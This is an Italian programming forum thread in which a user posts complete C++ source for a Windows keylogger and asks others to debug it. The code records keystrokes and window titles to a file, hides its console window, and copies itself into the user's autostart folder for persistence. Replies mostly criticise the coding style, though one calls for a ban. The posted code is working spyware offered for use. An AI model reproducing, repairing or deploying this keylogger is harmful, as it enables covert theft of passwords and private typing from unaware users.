Torna indietro   Hardware Upgrade Forum > Software > Programmazione

Boox Go 10.3 (Gen II) Lumi: il tablet e-ink con Android 15 e penna, dal prezzo super
Boox Go 10.3 (Gen II) Lumi: il tablet e-ink con Android 15 e penna, dal prezzo super
Arrivato sul mercato italiano a fine marzo, la serie Boox Go 10.3 (Gen II) offre Android 15, penna da 4096 livelli e retroilluminazione opzionale (nel modello da noi provato, Lumi, presente). La serie si compone di due tablet ePaper che fanno da e-reader, blocco note digitale e persino browser, tutto a un prezzo che fa dimenticare i prodotti di brand più blasonati
Gigabyte MO32U24 OLED: il 4K a 240Hz su un pannello OLED ideale per il gaming
Gigabyte MO32U24 OLED: il 4K a 240Hz su un pannello OLED ideale per il gaming
Pannello QD-OLED da 32 pollici con risoluzione 4K, frequenza di aggiornamento a 240Hz e tempi di risposta rapidissimi: il Gigabyte MO32U24 evolve il progetto del suo predecessore MO32U e alza ulteriormente l'asticella delle prestazioni. È ancora una volta un monitor indirizzato ai giocatori più esigenti
Recensione realme 16 5G: lo smartphone con Selfie Mirror ha una batteria da 6550mAh
Recensione realme 16 5G: lo smartphone con Selfie Mirror ha una batteria da 6550mAh
realme 16 5G è un nuovo smartphone con sensore Sony IMX 852 da 50MP sul retro e uno specchio selfie fisico integrato nella camera bar, una prima nel segmento di mercato. Batteria da 6550mAh in un corpo da 8,1mm e 183g, certificazione IP69K e ricarica da 45W completano un pacchetto aggressivo per la fascia media, per uno dei prodotti più interessanti del produttore sul piano commerciale
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 27-10-2010, 16:01   #1
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
[C++] KeyLogger non funziona???

Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!

Questo è il codice:

Codice:
/*

KeyLogger v.Beta
Author: R#I
Language: C++

*/

#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <cstring>
#include <fstream>

using namespace std;

void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();

ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log

int main()
{
   nasc_sposta(GetEsecAutoDir());
   int key;
    HWND finestra_corrente;
    char titolo_finestra[255], attuale[255];
      while(1)
        {
      Sleep(10); // Per non usare tutta la CPU
        finestra_corrente = GetForegroundWindow();
         GetWindowText(finestra_corrente, titolo_finestra, 254);
          if(strcmp(titolo_finestra, attuale)!= 0)
             {
                logga("\n");
                logga(titolo_finestra);
                logga("\n");
             }
                 strcpy(attuale, titolo_finestra);

// ========================= Titolo Finestra ================

if(GetAsyncKeyState(key)== -32767){

   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      switch(key){
           case 112: logga("[F1]"); break;
           case 113: logga("[F2]"); break;
           case 114: logga("[F3]"); break;
           case 115: logga("[F4]"); break;
           case 116: logga("[F5]"); break;
           case 117: logga("[F6]"); break;
           case 118: logga("[F7]"); break;
           case 119: logga("[F8]"); break;
           case 120: logga("[F9]"); break;
           case 121: logga("[F10]"); break;
           case 122: logga("[F11]"); break;
           case 123: logga("[F12]"); break;
      }
   }   
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             logga(key);
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             logga(key);
             }                       
   }   
   // TASTI numerici   
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 :      logga('='); break;
      case 49 :      logga('!'); break;
      case 50 :      logga('"'); break;
      case 51 :      logga('£'); break;
      case 52 :      logga('$'); break;
      case 53 :      logga('%'); break;
      case 54 :      logga('&'); break;
      case 55 :      logga('/'); break;
      case 56 :      logga('('); break;
      case 57 :      logga(')'); break;
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57)logga(key);   
    } 
 
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 186 :       logga('é'); break;
      case 187 :       logga('*'); break;
      case 188 :       logga(';'); break;
      case 189 :       logga('_'); break;
      case 190 :       logga(':'); break;
      case 191 :       logga('§'); break;
      case 192 :       logga('ç'); break;
      case 219 :       logga('?'); break;
      case 220 :       logga('|'); break;
      case 221 :       logga('^'); break;
      case 222 :       logga('°'); break;
      case 226 :       logga('>'); break;
 
      }  
 
    }else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128  )&&(GetAsyncKeyState(18)==-127 || 
    GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 ||  GetAsyncKeyState(162)==-128 )&&
    (GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 101 :        logga('€'); break;
      case 192 :        logga('@'); break;
      case 222 :        logga('#'); break;
      case 187 :        logga(']'); break;
      case 186 :        logga('['); break;
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 :        logga('ò'); break;
      case 191 :        logga('ù'); break;
      case 222 :        logga('à'); break;
      case 187 :        logga('+'); break;
      case 186 :        logga('è'); break;
      case 188 :        logga(','); break;
      case 190 :        logga('.'); break;
      case 189 :        logga('-'); break;
      case 219 :        logga('\''); break;
      case 221 :        logga('ì'); break;
      case 226 :        logga('<'); break;
      case 220 :        logga('\\'); break;
      }
      
   switch(key){
 
   case 8 :         logga("[BACK]"); break;
   case 9 :         logga("[TABLE]"); break;
   case 11:         logga("[HOME]"); break;
   case 13:         logga("[RETURN]"); break;
   case 27:         logga("[ESC]"); break;
   case 32:         logga("[SPACE]"); break;
   case 33:         logga("[PAG SU]"); break;
   case 34:         logga("[PAG GIU]"); break;
   case 35:         logga("[END]"); break;
   case 36:         logga("[HOME]"); break;
   case 37:         logga("[left]"); break;
   case 38:         logga("[TOP]"); break;
   case 39:         logga("[right]"); break;
   case 40:         logga("[BOTTOM]"); break;
   case 44:         logga("[STAMP SCREEN]"); break;
   case 45:         logga("[INS]"); break;
   case 46:         logga("[CANC]"); break;
   case 91:         logga("[WINDOWS]"); break;
   case 92:         logga("[WINDOWS]"); break;
   case 96:         logga('0'); break;
   case 97:         logga('1'); break;
   case 98:         logga('2'); break;
   case 99:         logga('3'); break;
   case 100:        logga('4'); break;
   case 101:        logga('5'); break;
   case 102:        logga('6'); break;
   case 103:        logga('7'); break;
   case 104:        logga('8'); break;
   case 105:        logga('9'); break;
   case 106:        logga('*'); break;
   case 107:        logga('+'); break;
   case 109:        logga('-'); break;
   case 110:        logga('.'); break;
   case 111:        logga('/'); break;
   case 144:        logga("[BLOC NUM]"); break;
   case 145:        logga("[BLOC SCORR]"); break;
   case 163:        logga("[ESC]"); break;
   case 255:        logga("[SPACE]"); break;
   }
  }
 }  
}
    return 0;
}

void nasc_sposta(char *dir_destinazione)
{
    HWND invisibile;

      invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
      ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
      MoveFile("key.exe", dir_destinazione);   // Sposto in esecuzione automatica
}

char *GetEsecAutoDir()
{
  char disco[255], utente[255], *user_path;
  DWORD *a;
   user_path = new char[255]; // Alloccazione dinamica
   a = new DWORD[255];          // Come sopra
    GetSystemDirectory(disco, 254);  // Prendo disco rigido in uso
      destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
    GetUserName(utente, a);          // Prendo Nome Utente
     strncpy(user_path, disco, 3);   //
      strcat(user_path, "Documents and Settings\\");
      strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
      strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
  return user_path;  // Ritorno il cpleto valore per copiare il file in esecuzione auto
}

void logga(char carattere) // Loggo caratteri
{
    log.open("log.txt", ios::app);
    log << carattere;
    log.close();
}

void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
    log.open("log.txt", ios::app);
    log << stringa;
    log.close();
}
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 17:29   #2
Tommo
Senior Member
 
L'Avatar di Tommo
 
Iscritto dal: Feb 2006
Messaggi: 1304
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Mi sa che faresti bene a dare un occhio a una cosa che si chiama "tabella ASCII" perchè il tuo codice si riscrive in 4 righe.

A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Ciap
__________________
*ToMmO*

devlog | twitter
Tommo è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 17:35   #3
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Non sapevo fosse vietato??!
Comunque grazie per il consiglio, anche se, non penso che si possa scrivere proprio in 4 righe come dici tu!

EDIT: Ma comunque si sa perchè non lavora? Qual è l'errore che faccio?

Ultima modifica di L3n : 27-10-2010 alle 17:50.
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 18:34   #4
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Almeno mi sapete dire come rilevare i simboli @#[]€ con il tasto alt gr (ctrl e alt). Ho provato VK_CONTROL (CTRL) e VK_MENU (ALT), ma non li rileva per niente! Non si accorge nemmeno che vengono premuti, infatti mi da i caratteri normali senza la pressione di alt gr! Potete aiutarmi??
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 21:38   #5
shinya
Senior Member
 
L'Avatar di shinya
 
Iscritto dal: Jul 2005
Città: Bologna
Messaggi: 1130
Quote:
Originariamente inviato da Tommo Guarda i messaggi
A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Moralista bacchettone.
shinya è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 22:04   #6
d@vid
Senior Member
 
L'Avatar di d@vid
 
Iscritto dal: Jan 2005
Città: Napoli
Messaggi: 2424
Quote:
Originariamente inviato da Tommo Guarda i messaggi
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Scusate l'intromissione

intendi con un ciclo for?


Codice:
for i from 96 to 110
case i: logga(char(*codice ASCII progressivo*)) break;
end
__________________
~ ~ ho concluso con: capzero, DarkSiDE, Iron10, 12379, Hyxshare, Gort84, kristian0, scrafti, as2k3, gegeg, Kyrandia, Feroz, asta, nyko683, mstella, 00700, WotanBN, [COLOR=]Warez[/color], sesshoumaru, ...
nel we potrei non essere davanti al pc

Ultima modifica di d@vid : 27-10-2010 alle 22:08.
d@vid è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


Boox Go 10.3 (Gen II) Lumi: il tablet e-ink con Android 15 e penna, dal prezzo super Boox Go 10.3 (Gen II) Lumi: il tablet e-ink con ...
Gigabyte MO32U24 OLED: il 4K a 240Hz su un pannello OLED ideale per il gaming Gigabyte MO32U24 OLED: il 4K a 240Hz su un panne...
Recensione realme 16 5G: lo smartphone con Selfie Mirror ha una batteria da 6550mAh Recensione realme 16 5G: lo smartphone con Selfi...
Come rispettare tutte le nuove regole per i monopattini elettrici? La guida per non rischiare sanzioni Come rispettare tutte le nuove regole per i mono...
DLSS 4.5: con Dynamic Frame Generation e MFG 6X NVIDIA alza la posta DLSS 4.5: con Dynamic Frame Generation e MFG 6X ...
Microsoft potrebbe introdurre pagamenti ...
LiteLLM, tre falle critiche: la catena d...
Servizi cloud su iOS, l'Antitrust italia...
Arch Linux: oltre 1.900 pacchetti AUR in...
Le frodi finanziarie valgono quanto il P...
Electronic Arts presenta EA Advertising ...
Addio silicio? Imec, ASML e TSMC mostran...
iPhone Ultra: rimandato e costosissimo? ...
Huawei punta sul segmento dei computer: ...
ChatGPT non si ferma mai: superato il mi...
OPPO Find X10 Pro promette bene: tante n...
La RAM dei server costa troppo? AMD ha a...
DJI Mini 3 imperdibile grazie agli scont...
Anthropic finisce in tribunale: i piani ...
Electrolux sospende il piano da 1.700 es...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 09:31.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
Served by www3v